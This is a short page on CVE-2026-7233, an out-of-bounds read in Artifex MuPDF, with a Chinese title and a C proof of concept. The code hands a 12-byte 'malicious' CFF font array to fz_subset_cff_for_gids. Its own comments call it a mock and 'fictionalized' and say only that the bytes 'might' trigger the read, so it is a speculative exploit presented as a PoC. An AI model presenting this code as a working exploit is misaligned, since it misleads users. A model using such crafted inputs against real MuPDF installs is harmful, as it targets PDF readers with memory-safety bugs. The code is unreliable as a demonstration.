CVE-2026-7233 Artifex MuPDF 越界读取漏洞

#include <stdio.h> #include <stdlib.h> // Mocking the vulnerable function structure for PoC demonstration // This is a simplified representation based on the description. // Vulnerable function prototype (fictionalized for PoC structure) void fz_subset_cff_for_gids(unsigned char* data, int size, int* gids, int gid_count); int main() { // Crafted malicious input designed to trigger out-of-bounds read // The specific structure depends on the CFF format parsing logic unsigned char malicious_cff_data[] = { 0x01, 0x00, 0x04, 0x00, // Header 0xFF, 0xFF, 0xFF, 0xFF, // Malformed Index Count 0x00, 0x01, 0x02, 0x03 // Offsets that might lead to OOB read }; int gids[] = {1, 2, 3}; // Glyph IDs to subset printf("Attempting to trigger CVE-2026-7233..."); // Calling the function with crafted data // In a real exploit, this would be triggered by loading a font file in MuPDF fz_subset_cff_for_gids(malicious_cff_data, sizeof(malicious_cff_data), gids, 3); printf("PoC execution finished. Check for crashes or information disclosure."); return 0; }